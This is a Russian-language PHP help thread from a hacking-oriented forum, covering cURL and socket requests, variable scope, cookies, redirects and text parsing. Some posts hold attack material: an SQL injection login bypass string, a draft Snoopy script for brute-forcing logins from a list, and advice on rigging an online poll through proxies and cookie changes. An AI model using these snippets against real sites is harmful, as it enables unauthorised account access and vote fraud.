Class Main
{
var $config;

function print_all()
{
print_r($this->config);
}
}

$main = new Main();
$main->config = $config;
$main->print_all();

?>

и заюзать extends

RedBull@12
01.09.2009, 19:33
<?php

$config['bd']['host'] = '127.0.0.1';
$config['bd']['pass'] = 'pass';
$config['bd']['login'] = 'login';

Class Main
{
var $config;

function print_all()
{
print_r($this->config);
}
}

$main = new Main();
$main->config = $config;
$main->print_all();

?>

и заюзать extends
ну про extands это очевидно...суть вся в том чтобы избавить именно вот такого рода строчек
$main->config = $config;
имитировать global...через что-то типа конструктора при создании класс все подключать...только вот как туда получать параметр из внешки

FireFenix
01.09.2009, 19:36
echo $main->config['bd']['login'];

RedBull@12
01.09.2009, 19:40
echo $main->config['bd']['login'];
ты сути не понял...
смотри мы создаем функцию у нас создается локаьлная область видимости переменных, что бы видны были глобальные переменные мы делаем вот так...
function main() {
global $var;
....код...
}
я хочу нечто такое же для класса. чтобы в классе подгружались некие "глобальные" переменные

FireFenix
01.09.2009, 19:57
никак.... создай базовый класс и в нём всё храни... либо класс контейнер

RedBull@12
01.09.2009, 20:01
никак.... создай базовый класс и в нём всё храни... либо класс контейнер
что подразумется под класс-контейнер?
тупо все перменные залить туда?

FireFenix
01.09.2009, 20:02
что подразумется под класс-контейнер?
тупо все перменные залить туда?
тада

ну не все.....а к которым кросс доступ нужен

RedBull@12
01.09.2009, 20:10
тада
ну не все.....а к которым кросс доступ нужен
не это как-то не по-гиковски...я предлагаю как вариант...пропарсить инклудный файл, конструктором автостарта регуярками....сейачс напишу....посмотрим что получится=)

FireFenix
01.09.2009, 20:25
не это как-то не по-гиковски...я предлагаю как вариант...пропарсить инклудный файл, конструктором автостарта регуярками....сейачс напишу....посмотрим что получится=)
Это индусский код - передавать глоабльные переменные через подключаемый файл...... для каждого нового класса

RedBull@12
01.09.2009, 21:00
Это индусский код - передавать глоабльные переменные через подключаемый файл...... для каждого нового класса
1- не для каждого нового класса, а для экзампляров.
2- сейча напишу посмотрим что получится.
просто использовать класс в качестве контейнера, это совершенно дико...не считая что это только частичное копирование данных...копипастом можно заниматься и так...ручками все коды собирать и нахер убрать php

RedBull@12
01.09.2009, 21:58
Ура!
2FireFenix,элементарно все оказалось!
<?php
class base {
public $vars;
function __construct() {
require_once("vars.php");
$this->vars = $__VARS;
print_r($this->vars);
}
}
$base = new base;
?>

zavra
02.09.2009, 02:31
<?

$method="POST";
$addr="/login.php"; //адрес относительно корня сервера,
$target="127.0.0.1"; //ip адрес сервера, или прокси сервера, через который оправить запрос
$targetport=80; //порт сервера или прокси

$postvars="op=a_login_attempt&email=zzz@mail.ru&pass=zzzzzz&expire=0";
$len=strlen($postvars);

$in=
"$method $addr HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\r\n".
"Accept: */*\r\n".
"Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n".
"Accept-Encoding: gzip,deflate\r\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Length: $len\r\n\r\n".
$postvars;

echo $in;

$socket = socket_create (AF_INET, SOCK_STREAM, 0);
$result = socket_connect ($socket, $target, $targetport);
socket_write($socket, $in, strlen($in));
$o="";
while ($out = socket_read ($socket, 2048)) {
$o.=$out;
}
echo $o;
?>

Однако при тесте показывает 404 страница хостера вместо ответа от сервера =( можно как-то проще сделать, а не через сокет?

RedBull@12
02.09.2009, 02:50
<?

$method="POST";
$addr="/login.php"; //адрес относительно корня сервера,
$target="127.0.0.1"; //ip адрес сервера, или прокси сервера, через который оправить запрос
$targetport=80; //порт сервера или прокси

$postvars="op=a_login_attempt&email=zzz@mail.ru&pass=zzzzzz&expire=0";
$len=strlen($postvars);

$in=
"$method $addr HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\r\n".
"Accept: */*\r\n".
"Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n".
"Accept-Encoding: gzip,deflate\r\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Length: $len\r\n\r\n".
$postvars;

echo $in;

$socket = socket_create (AF_INET, SOCK_STREAM, 0);
$result = socket_connect ($socket, $target, $targetport);
socket_write($socket, $in, strlen($in));
$o="";
while ($out = socket_read ($socket, 2048)) {
$o.=$out;
}
echo $o;
?>

Однако при тесте показывает 404 страница хостера вместо ответа от сервера =( можно как-то проще сделать, а не через сокет?
так у вас адрес локальный, а хост в запросе порписан vkontakte.ru...
можно через cURL

$c = curl_init();
curl_setopt($c, CURLOPT_URL, "http://vkontakte.ru/");
curl_setopt($c, CURLOPT_REFERER, "http://vkontakte.ru/");
curl_setopt($c, CURLOPT_USERAGENT, "9.60 beta под Windows XP — Opera/9.60 (Windows NT 5.1; U; en) Presto/2.1.1");
curl_setopt($c, CURLOPT_HEADER, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$body = curl_exec($c);
curl_close($c);
//это обычный гет


$c = curl_init();
curl_setopt($c, CURLOPT_URL, "http://vkontakte.ru");
curl_setopt($c, CURLOPT_REFERER, "http://vkontakte.ru");
curl_setopt($c, CURLOPT_USERAGENT, "9.60 beta под Windows XP — Opera/9.60 (Windows NT 5.1; U; en) Presto/2.1.1");
curl_setopt($c, CURLOPT_HEADER, 1);
curl_setopt($c, CURLOPT_POST, 1);
curl_setopt($c, CURLOPT_POSTFIELDS, $post);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_COOKIE, $cookies);
$body = curl_exec($c);
curl_close($c);
//это пост
http://www.php.su/functions/?cat=curl здесь подробно описао какие ключи что значат. икак пользоваться...
preg_match_all('|Set-Cookie: (.*);|U', $body, $results);
$cookies = implode(';', $results[1]);
регулярка для выдерания куков из пришедших хедеров

zavra
02.09.2009, 03:20
прописал в хост http://vkontakte.ru, выдает 400 Bad Request
через curl для меня еще сложнее( но такой вариант тоже попробую, спс. с сокетами хочется до конца разобраться

RedBull@12
02.09.2009, 04:05
тут написал функцию аунтификации и идентификации....подскажите возможно ли обойти данную аунтификацию.
cоотвественно если да, то каким макаром.

public function security($string,$i) {
if ($i == 0) { ... }
elseif ($i == 1) { ... }
elseif ($i == 2) { ... }
elseif ($i == 3) {
$string = mysql_real_escape_string($string);
}
return $string;
}
}

public function login($login,$pass) {
$this->connect();
$login = strtolower($this->security($login,3));
$login = base64_encode($login);
$pass = base64_encode($this->security($pass,3));
$result = $this->query("SELECT * FROM `users` WHERE `login`='".$login."' AND `pass`='".$pass."'");
if ($result && mysql_num_rows($result) > 0) {
$ses = session_id();
if (preg_match("|([a-zA-Z0-9])+|i",$ses) && preg_match("|([0-9\.])+|i",$_SERVER["REMOTE_ADDR"])) {
$agent = $this->security($_SERVER['HTTP_USER_AGENT'],3);
$referer = $this->security($_SERVER['HTTP_REFERER'],3);
$forwarded = $this->security(getenv(HTTP_X_FORWARDED_FOR),3);
$ip = $_SERVER["REMOTE_ADDR"];
$time = time() + (60*60*6);
$result = $this->query("INSET INTO `login`(`hash`,`date_begin`,`date_end`,`login`,`ip `,`agent`,`referer`,`forwarded`) VALUES('".$ses."','".time()."','".$time."','".base64_decode($login)."','".$ip."','".$agent."','".$referer."','".$forwarded."')");
}
}
else { }
$this->close();
}
public function ident() {
$this->connect();
$ses = session_id();
if (preg_match("|([a-zA-Z0-9])+|i",$ses) && preg_match("|([0-9\.])+|i",$_SERVER["REMOTE_ADDR"])) {
$result = $this->query("SELECT * FROM `login` WHERE `hash`='".$ses."' AND `ip`='".$_SERVER["REMOTE_ADDR"]."'");
if ($result && mysql_num_rows($result) > 0) {
$row = mysql_fetch_array($result, MYSQL_ASSOC);
if ($row['date_begin'] <= time() && $row['date_end'] >= time()) {
return 1;
}
else { return 0; }
}
else { return 0; }
}
else { return 0; }
$this->close();
}

RedBull@12
02.09.2009, 04:07
прописал в хост http://vkontakte.ru, выдает 400 Bad Request
через curl для меня еще сложнее( но такой вариант тоже попробую, спс. с сокетами хочется до конца разобраться
честно говоря с сокетами плохо знаком, но вот cURL довольно хорошо знаю. примеры кода который скинул..это с рабочего движка.

RedBull@12
02.09.2009, 05:20
$result = $this->query("SELECT * FROM `users` WHERE `login`='".$login."' AND `pass`='".$pass."'");
если нет addslashes() в форме то можно авторизоватся введя логин: 1 or 1=1-- 1
и любой пароль.
=/...а чем не нравится mysql_real_escape_string через которую все пропускается...специально привел секьюрный метод...

Myload
02.09.2009, 13:20
<?php
if(isset($_GET['turnoff']))
{
file_put_contents('index.php.bak',file_get_content s('index.php'));
file_put_contents('index.php','Сайт в разработке');
}

if(isset($_GET['turnon']))
{
file_put_contents('index.php',file_get_contents('i ndex.php.bak'));
unlink('index.php.bak');
}
?>
Самый простейший.
Писал прямо здесь :)

RedBull@12, лучше бы помог человеку, чем указал сколько строк в коде.


как на сайт поставить это
и кнопку сделать в админке?

j0ker13
02.09.2009, 13:25
суть вопроса)
выполняется скрипт. вывод на страницу через echo. после этого надо перенаправить на другую страницу.
Header("Location:") не катит. надо сделать тока средствами пхп. т.е. js тож не катит)

Gifts
02.09.2009, 13:27
j0ker13 В разделе HEAD документа прописать <meta http-equiv="refresh" content="задержка в секундах до редиректа; url=адрес для редиректа">

j0ker13
02.09.2009, 13:53
это не запланировано должно быть) т.е. если случилось событие то вывод текста и редирект. если не случилось продолжается выполнятся)

Pashkela
02.09.2009, 14:00
тогда не понятно, почему


Header("Location:") не катит


if (условие) Header("Location:");

в чем вопрос - непонятно вообще

wildshaman
02.09.2009, 14:00
это не запланировано должно быть) т.е. если случилось событие то вывод текста и редирект. если не случилось продолжается выполнятся)
Какбы хеадер - это не средство пхп?
ну тогда как сказано выше -

echo '<meta http-equiv="refresh" content="задержка в секундах до редиректа; url=адрес для редиректа">';

anm767
02.09.2009, 14:04
как создать HTTP GET запрос ? пример:

GET /path/file.html HTTP/1.0

как это работает?

на форуме тут видел:

"Сформируем вот такой вот запрос
POST http://.... HTTP/1.0
или
OPTIONS / HTTP/1.0"

сформулировать понятно, а как его отправить?

j0ker13
02.09.2009, 14:06
дак говорю же. перед хедером выводится текст. он же ругается что header already send

wildshaman
02.09.2009, 14:24
дак говорю же. перед хедером выводится текст. он же ругается что header already send
http://www.rus-phpnuke.com/modules.php?name=News&file=article&sid=404

4es
02.09.2009, 14:33
Подскажите как правильно парсить заголовок title у страниц сайта ?
я так думаю если тупо file_get_contents и потом регуляркой, то так не правильно.

RedBull@12
02.09.2009, 14:49
Подскажите как правильно парсить заголовок title у страниц сайта ?
я так думаю если тупо file_get_contents и потом регуляркой, то так не правильно.
я может чего-то не знаю а чем это не правильно?ну можнополучать не всю страницу а опредленное кол-во байт чтобы не грузить 30метровые страницы

RedBull@12
02.09.2009, 14:50
как создать HTTP GET запрос ? пример:

GET /path/file.html HTTP/1.0

как это работает?

на форуме тут видел:

"Сформируем вот такой вот запрос
POST http://.... HTTP/1.0
или
OPTIONS / HTTP/1.0"

сформулировать понятно, а как его отправить?
вопросы только сегодня ночью поднимался...
https://forum.antichat.ru/showpost.php?p=1495984&postcount=12107

159932
02.09.2009, 15:00
$site = 'bla.com';
$some = 'POST /a.php .........................';
fputs(fsockopen($site,'80'),$some);

mailbrush
02.09.2009, 16:00
4es,
$url = 'http://yoursite.com/page.php';
$ch = curl_init($url);
...
curl_setopt();
...
$res = curl_exec($ch);

preg_match('#<title>(.*)<\/title>#',$res,$matches);

print_r($matches);

zifanchuck
02.09.2009, 22:09
Может вопрос канешно глупый но для меня очень нужный..
На примере прокси. нужно вставить в форму (текстариа) список прокси и нужно вставить все ети прокси в масив. тоисть $ip[0] первій прокси, $ip[1] второй и т.д....
Спс зарание....

Failure
02.09.2009, 22:12
<form action="<?=$_SERVER['PHP_SELF'];?>" method="POST">
<textarea cols=70 rows=5 name=proxy></textarea><br>
<input type=submit value="OK">
</form><br><br>
<?php
$pr = $_POST["proxy"];
if(isset($pr) && strlen($pr)>0) $pr = explode("\n", $pr);
print_r($pr);
?>

Insane bboy
03.09.2009, 00:10
у меня глупый вопрос:
к примеру есть два скрипта index1.php и index2.php и они лежат в одном каталоге, редирект делается просто header("Location: index.php");
теперь другой пример: одни скрипт лежит в каталоге test а другой в каталоге test/test/ как из скрипта который в test/test/ вызвать другой скрипт?

RedBull@12
03.09.2009, 00:46
у меня глупый вопрос:
к примеру есть два скрипта index1.php и index2.php и они лежат в одном каталоге, редирект делается просто header("Location: index.php");
теперь другой пример: одни скрипт лежит в каталоге test а другой в каталоге test/test/ как из скрипта который в test/test/ вызвать другой скрипт?
что значит вызвать?
можно иклудировать
include("../../test/script.php");
как вариант "вызова" можно еще использовать system() и/или exec()

zavra
03.09.2009, 01:10
function wtf(){
$postvars="param=wtf";
send();
}

function ololo(){
$postvars="param=ololo";
send();
}

wtf();
ololo();

function send(){
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $host);
curl_setopt($c, CURLOPT_HEADER, 1);
curl_setopt($c, CURLOPT_POST, 1);
curl_setopt($c, CURLOPT_POSTFIELDS, $postvars);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$body = curl_exec($c);
curl_close($c);
echo $body;
}
?>

Не отправляет. ?

RedBull@12
03.09.2009, 01:36
function wtf(){
$postvars="param=wtf";
send();
}

function ololo(){
$postvars="param=ololo";
send();
}

wtf();
ololo();

function send(){
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $host);
curl_setopt($c, CURLOPT_HEADER, 1);
curl_setopt($c, CURLOPT_POST, 1);
curl_setopt($c, CURLOPT_POSTFIELDS, $postvars);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$body = curl_exec($c);
curl_close($c);
echo $body;
}
?>

Не отправляет. ?
у тебя хост не забит...+ смотри области видимости переменных...у тебя в send не передаются postvars
+ проверь поддерживает ли у тебя сборка сURL

zavra
03.09.2009, 01:50
у тебя хост не забит...+ смотри области видимости переменных...у тебя в send не передаются postvars
+ проверь поддерживает ли у тебя сборка сURL
хост-то забит, и сurl включен, я просто кусок кода привел.
и как мне их определить глобально?

RedBull@12
03.09.2009, 01:55
хост-то забит, и сurl включен, я просто кусок кода привел.
и как мне их определить глобально?
<?php
$var = "1";
function fuc() {
echo $var;
}
?>
//в данно случае будет ошибка, ибо переменной var в функции нету
//но можно переписать вот так
<?php
$var = "1";
function fuc() {
global $var;
echo $var;
}
//и тогда все будет нормально. и в ответе будет "1"
?>

noooob'ik
03.09.2009, 01:56
в корневой директории есть папка 1, в этой папке скрипт, где написано примерно такое: setcookie("key", "value");
эта кука бу доступна тока в директории 1 и выше. Как сделать чтоб кука была доступна в корневой директории, подскажите пожалуйста?

RedBull@12
03.09.2009, 01:59
в корневой директории есть папка 1, в этой папке скрипт, где написано примерно такое: setcookie("key", "value");
эта кука бу доступна тока в директории 1 и выше. Как сделать чтоб кука была доступна в корневой директории, подскажите пожалуйста?
1- нев тему сказано
2- можно ручками перенести или исправить куку в браузере, если я праивльно понял про что идет речь

noooob'ik
03.09.2009, 02:05
если запустить скрипт из папки 1(где задается кука), а затем скрипт из корневой директории, в кот. бу print_r ($_COOKIE);, выведет array();
Почему?

а еслиб, скрипт(с 'print_r ($_COOKIE);') был бы в папке 1, то былобы все гуд, скрипт вывел бы array("key"=>value)

RedBull@12
03.09.2009, 02:15
если запустить скрипт из папки 1(где задается кука), а затем скрипт из корневой директории, в кот. бу print_r ($_COOKIE);, выведет array();
Почему?

а еслиб, скрипт(с 'print_r ($_COOKIE);') был бы в папке 1, то былобы все гуд, скрипт вывел бы array("key"=>value)
порпобуй сделать вот так
setcookie("key","value", time()+3600, "/")

noooob'ik
03.09.2009, 02:28
ура!) получилось!
пасиб, держи +

restart_05
03.09.2009, 17:26
Подскажите пример скрипта включение выключение кс сервера через сайт

Kaimi
03.09.2009, 17:36
Возьми класс отсюда
http://webscripts.softpedia.com/script/PHP-Clases/Counter-Strike-50878.html
И на основе него сделай

bomber
03.09.2009, 17:55
мужики, такой вопрос, почему код:

$links = fopen("http://site.ru", 'r');
if ($links) {
echo "$link - OK<br />";
} else {
echo "$link - NO<br />";
}
fclose($links);

у меня работает, а у другого нет, тоесть у него - NO, хотя в php.ini - allow_url_fopen = On у меня и у него, ломаю голову уже второй час, не могу понять в чем причина

TANZWUT
03.09.2009, 18:09
попробуй типа:

<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: bla=1f8b74a7b34ffe0134da7c32b5086d75\r\n"
)
);
$context = stream_context_create($opts);

$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$content = file_get_contents("http://asd.com/?id=$x", false, $context);
if (preg_match("#(.*)title(.*)#",$content,$matches)){
fputs($fp, $content."\r\n\r\n");echo "ok";
}else{
echo "no";
}
}
fclose($fp);
?>


ща свой вопрос задам...


upd:
скиньте ктонито пример брута по списку логинов из текстовика и с 1 и тем же паролем или проверкой 2-3 паролей на каждый акк поочереди. брут будет с юзаньем http://snoopy.sourceforge.net/ ...

набросок:

$fp = fopen("log.txt","a");

include "Snoopy.class.php";

$snoopy = new Snoopy;
$snoopy->agent = get_random_user_agent();
$snoopy->referer = "http://asd.com/";

$submit_url = "http://asd.com/index.php";
$submit_vars["login"] = "asdasd";
$submit_vars["password"] = "pass";
$submit_vars["send"] = "send";

$snoopy->fetch("http://asd.com/index.php");

$snoopy->setcookies ();
$snoopy->submit($submit_url,$submit_vars);

$content = $snoopy->results;

if (preg_match("#(.*)alert(.*)#",$content,$matches)){
echo "no";
}else{
fputs($fp, $submit_vars["login"].":".$submit_vars["password"]."ok\r\n\r\n");
}
}
fclose($fp);

restart_05
03.09.2009, 18:16
Возьми класс отсюда
http://webscripts.softpedia.com/script/PHP-Clases/Counter-Strike-50878.html
И на основе него сделай
В этом класе же только информация о сервере туда сюда а как соединиться нету

restart_05
03.09.2009, 18:43
Ни кто не знает ?? Плз срочно нужно

Kaimi
03.09.2009, 18:58
Там как бы есть
public function __construct($ip, $port = 27015)
и
private function cmd($cmd)

Так трудно на основе сделать то что тебе нужно?

restart_05
03.09.2009, 19:05
а эти функции служат для вывода информации о сервере

restart_05
03.09.2009, 19:13
public function __construct($ip, $port = 27015) я использовал а cmd зачем не подскажешь ??

Если не трудно можно пример ??

zavra
03.09.2009, 19:40
в ответ на curl от сервера приходит типа

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Thu, 03 Sep 2009 15:01:59 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
Vary: Host
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Set-Cookie: remixchk=5; expires=Mon, 30-Aug-2010 04:56:18 GMT; path=/;
Content-Length: 94

<?xml version="1.0" encoding="utf-8"?>
<response>
Тело ответа
</response>
Можно как-то проигнорить первую часть, т.е. чтобы только код заносился в $body = curl_exec($c);? Или нужно использовать регулярку для выделения второй части?

FireFenix
03.09.2009, 19:43
CURLOPT_HEADER : При установке этого параметра
в ненулевое значение результат будет включать полученные заголовки.
curl_setopt($curl, CURLOPT_HEADER, False);

wildshaman
03.09.2009, 19:43
в ответ на curl от сервера приходит типа


Можно как-то проигнорить первую часть, т.е. чтобы только код заносился в $body = curl_exec($c);? Или нужно использовать регулярку для выделения второй части?
curl_setopt($curl,CURLOPT_HEADER,false);
Вроде так.

restart_05
03.09.2009, 19:45
Включение/Выключение сервера на php как можно сделать ?

restart_05
03.09.2009, 19:48
Хотябы кусочек кода дальше я сам

FireFenix
03.09.2009, 19:52
Apache : system('C:\Apache\bin\httpd.exe -k stop');

restart_05
03.09.2009, 19:55
мда....

restart_05
03.09.2009, 20:00
start.sh

#!/bin/sh
screen ./hlds_27015 -noipx -insecure -game cstrike +maxplayers 32 +map de_dust2 +port 27015


if($act = "start") { exec('start.sh'); }


только это для Linux а как можно организовать на Windows

zavra
04.09.2009, 00:07
Можно ли использовать следующий алгоритм для имитации 30% шанса выигрыша?
<?php
$k = rand(1,100);
if($k<31){
echo "you won!";
} else{
echo "sorry, you've lost =(";
}
?>

RedBull@12
04.09.2009, 00:10
Можно ли использовать следующий алгоритм для имитации 30% шанса выигрыша?
<?php
$k = rand(1,100);
if($k<31){
echo "you won!";
} else{
echo "sorry, you've lost =(";
}
?>

нет, это слишком плоский метод для данной имитации...
предлагаю создать 3 рандомных числа и каким-нибудь методом, формулой, выбирать 1 из 3

zavra
04.09.2009, 00:12
и что предложишь?

RedBull@12
04.09.2009, 00:17
и что предложишь?
ну к примеру вот так:
<?php
$num[] = rand(1,100);
$num[] = rand(1,100);
$num[] = rand(1,100);
$control = rand(0,2);
$var// - загаданное числож
if ($num[$control] == $var) { echo "WIN!"; }
else { echo "LOSE": }
?>

Fepsis
04.09.2009, 00:29
ну к примеру вот так:

Ты думаешь в 30% будет выигрышь в твоём скрипте..?! :)

тогда уж так:
<?php
$control = rand(0,2);
$var// - загаданное числож
if ($num[$control] == 0) { echo "WIN!"; }
else { echo "LOSE": }
?>
если ТС-у нужна имитация...

RedBull@12
04.09.2009, 00:32
Ты думаешь в 30% будет выигрышь в твоём скрипте..?! :)
ну всмысле var 1 из 3...и вроде получится 1/30

zavra
04.09.2009, 00:35
аа как все сложно, блин. Fepsis, это почти тоже самое, что и я в самом начале запостил, не?

Fepsis
04.09.2009, 00:35
ну всмысле var 1 из 3...и вроде получится 1/30
но у тебя ещё каждая var 1 из 100... :)
Я свой предыдущий пост дополнил..

RedBull@12
04.09.2009, 00:36
сейчас...я сформулирую свою мысль...и расскажу что именно хотел сказать

Fepsis
04.09.2009, 00:37
аа как все сложно, блин. Fepsis, это почти тоже самое, что и я в самом начале запостил, не?
ну в общем да.. тервер утверждает, что вероятность будет ~30%

zavra
04.09.2009, 00:48
только что попробовал:
выиграл 47 раз, 105 проиграл -- 30.92105263157895% выигрыша
нормально, как раз 30% примерно)

superboy4
04.09.2009, 10:44
Вообщем такой вопрос:
Есть аватарки со страниц Вконтакте, то есть простые фото людей не которого разрешения.
Можно ли их увеличить (разрешение фотографии увеличить) чтобы качество не терялось?

Gifts
04.09.2009, 11:08
superboy4 Нельзя, это вам не векторная графика

superboy4
04.09.2009, 11:18
А где можно почитать подробную информацию о Curl или сокетах на русском языке????

Gifts
04.09.2009, 11:35
superboy4 http://docs.php.net/manual/ru/book.curl.php

toyvans
04.09.2009, 12:57
Не знаю куда написать - так что не бейте сильно)))
Вобщем есть голосовалка ежедневная .
Может кто посоветует чего хорошего для накрутки, може прогой кинетесь какой - я в этом чайник. и чтобы не палиться особо с айпи, да кукями. айпи у самого динамик - но могут по диапозону вычислить - да и медленно очень выходить будет.
спасибо

Fepsis
04.09.2009, 13:12
toyvans, врядли есть "универсальный накрутчик".. Нужно непосредственно смотреть на твою голосовалку и изучать установленные там ограничения (по ИП, по кукам, иногда достаточно браузер сменить) Чтоб ИП не палить - юзать прокси сервера (OperaTor)

Komyak
04.09.2009, 17:46
Темой вроде не ошибся =) Может кто сталкивался, каким скриптом можно выкачать сайт? Нужно какоето подобие телепорта, но в серверном исполнении, так как у меня скорость "никакая".

superboy4
04.09.2009, 19:11
Задача следующая:
Есть поле ввода на странице сайта, в которое пользователь вводит адрес своей странички в социальной сети В контакте (н-p: vkontakte.ru/id121212).
Как сделать чтобы после того как пользователь ввёл свой адрес в поле и кликнул по кнопке ----- получить всю информацию о пользователе под этим идентификатором во Вконтакте.ру и вывести её на следующей странице моего сайта?

ps: не прошу заменя ничего писать, а интересуюсь можно ли это сделать, если да - то каким образом (маленький примерчик!)

Gifts
04.09.2009, 19:15
superboy4 Залогиниться на вконтакте курлом/сокетами -> получить страницу. Или через АПИ проделать то же самое

superboy4
04.09.2009, 19:20
To Gifts
Api вконтакте не существует, а userapi это лишь жалкое подобие того самого Api.
курлом/сокетами

А это не одно и тоже? Или сокеты зашиты внутрь Curl?

Подожди...
А если страница закрыта пользователем???

L I G A
04.09.2009, 19:24
+ парсь необходимую инфу через регулярку, и выводи через соответствующие конструкции .

superboy4
04.09.2009, 19:29
Подожди...
А если страница закрыта пользователем???

не все же страницы открыты!!

wildshaman
04.09.2009, 19:31
Подожди...
А если страница закрыта пользователем???

не все же страницы открыты!!
Тогда никак

L I G A
04.09.2009, 19:32
To Gifts
А это не одно и тоже? Или сокеты зашиты внутрь Curl?

Подожди...
А если страница закрыта пользователем???
>>А это не одно и тоже?
курл и сокеты - две разные вещи.

>>А если страница закрыта пользователем???
это уже google.com & средствами php это вряд ли обойдешь.

Большой джо
04.09.2009, 20:04
Всем привет, есть строка такого вида <b>1</b> <b page=2>2</b> <b page=3>3</b> <b page=4>4</b> <b page=5>5</b> <b page=6>6</b> <b page=7>7</b> <b page=8>8</b> <b page=9>9</b>, нужно из неё вытянуть значение которое находится <b page=>тут</b>, как это можно сделать?)

wildshaman
04.09.2009, 20:10
<?php
$str="<b>1</b><b page=2>2</b><b page=3>3</b><b page=4>4</b><b page=5>5</b><b page=6>6</b><b page=7>7</b><b page=8>8</b><b page=9>9</b>";
preg_match_all("|>(.*?)</b>|", $str, $out);
for ($l=0;$l<count($out[1]); $l++)
echo $out[1][$l]."<br>";
?>

Zitt
04.09.2009, 22:27
dell

Pashkela
04.09.2009, 22:36
application/octet-stream

FireFenix
04.09.2009, 23:51
или text/plain taxt/html
в зависимости от того как воспринимать внутренности =)

#Wolf#
05.09.2009, 16:24
имеется функция
function antixss($data){
......
и большое кол-во переменных которое надо прогнать через нее?
не соображу как реализовать(циклом?)

p.s подкиньте ссылочки на фильтры xss(или я бы дыже сказал фильтр нежелательных символов :) )

FireFenix
05.09.2009, 17:04
имеется функция
function antixss($data){
......
и большое кол-во переменных которое надо прогнать через нее?
не соображу как реализовать(циклом?)
Сформируй мысли конкретнее - что тебе конкретно нада....? какие переменные? не сообразишь как передать переменную???

переменные -> массив -> foreach -> function?

p.s подкиньте ссылочки на фильтры xss(или я бы дыже сказал фильтр нежелательных символов :) )
htmlentities, htmlspecialchars - чем не устраивают?

FireFenix
05.09.2009, 18:21
<?php

function antixss($data)
{
//блабла
}

$var1 = '123';
$var2 = '456';

$array = Array('/', '&', '<', '>', $var1, $var2); //запихиваем всё для проверки

for($i = 0; $i < count($array); $i++)
{
antixss($array[$i]);
}

//Через foreach
/*
foreach($array as $value)
{
antixss($value);
}
*/

?>

Поправленно!

p.s. респект LIGA..... углядел :)

4es
05.09.2009, 20:50
есть файл 1.txt

1
2
3
4
5
6
7
8
9
нужен скрипт который выведет по 4 строки в одну
1, 2, 3, 4
5, 6, 7, 8
9

mamawi
05.09.2009, 21:19
есть файл 1.txt

нужен скрипт который выведет по 4 строки в одну

Пробуй. Если оно то скажи спасибо :)


<?php
function add(&$to,$line)
{
if(isset($line))$to.=", $line";
}

$f=file('1.txt');// прочитали из файла
foreach($f as $key=>$value)$f[$key]=trim($value,"\r\n");
for($i=0;$i<count($f);$i+=4)
{
$s=$f[$i];
add($s,@$f[$i+1]);
add($s,@$f[$i+2]);
add($s,@$f[$i+3]);
$s.="\r\n";
print($s); // вывели на экран
}
?>

FireFenix
05.09.2009, 21:40
Пробуй. Если оно то скажи спасибо
С моей точки зрения - говнокод!!!!
(с) Поправлено для уменьшения дальнейшего флуда

file.txt

1
2
3
4
5
6
7
8
9
0
10
11
12
13
14
15
16


<?php

$count = 4; //количество столбцов в строке

$content = file_get_contents('file.txt');
$file = explode("\r\n", $content);

for ($i = 0; $i < count($file); $i++)
{
for($j = 0; $j < $count; $j++)
{
if(count($file) > ($i * $count + $j))
{
if ($j > 0)
{
$result .= ',';
}

$result .= $file[$i * $count + $j];

if ($j == $count - 1)
{
$result .= '<br>'; // "\r\n"
}
}
}
}

echo($result);

?>

Результат

1,2,3,4
5,6,7,8
9,0,10,11
12,13,14,15
16

Kaimi
05.09.2009, 22:32
<?php
$lines = file('1.txt');
$list = null;
foreach ($lines as $line)
{
$list[] = rtrim($line);
if(count($list) == 4)
{
print implode(",", $list)."<br>";
$list = null;
}
}
if(count($list) > 0) print implode(",", $list)."<br>";
?>

d_x
06.09.2009, 00:28
<?php
$c=count($a=array_map('rtrim',file('x.txt')))-1;
foreach($a as $n => $s)
print $s.((($n+1)%4==0 || $n==$c) ? '<br>' : ', ');
?>

Insane bboy
06.09.2009, 09:05
у меня такой вопрос:
есть форма в которой поле input=file ну и кнопка, сообственно мне надо чтоб я выбирал файл и мне этот файл надо инклудить, но у меня не получается..
к примеру файл называется info.php и находится вообще на другом носителе, я пробую его инклудить предварительно найдя его в форме, почему то когда я нахожу файл в форме и отправляю из формы то в $_POST['myfile']) содержится только имя моего файла(в данном случае info.php и инклудится соответсвенно include 'info.php'; ) посмотрел print_r $_POST и $_FILES есть только название файла, его размер, тип и все:(
как мне сохранить в переменную путь к найденному файлу, или как можно решить мою проблему?

Failure
06.09.2009, 11:01
скрипт заливки файлов на сервер найдешь в теме "Полезные скрипты"
заливай этот свой файл в определенную папку и инклудь его оттуда

L I G A
06.09.2009, 12:45
есть файл 1.txt

нужен скрипт который выведет по 4 строки в одну
<?php
$file=explode('+',implode(',+',file('All.txt')));
for($i=4;$i<=count($file);$i+=5){$file[$i]='<br>';}
foreach($file as $line)echo $line;
?>

Pashkela
06.09.2009, 15:16
<?php
$a = file('fam1.txt');
for ($i=0;$i<count($a);$i++) {
if (($i+1)%4==0) echo $a[$i]. "<br>";
else echo $a[$i] . ",";
}
?>


лол

VladZombie
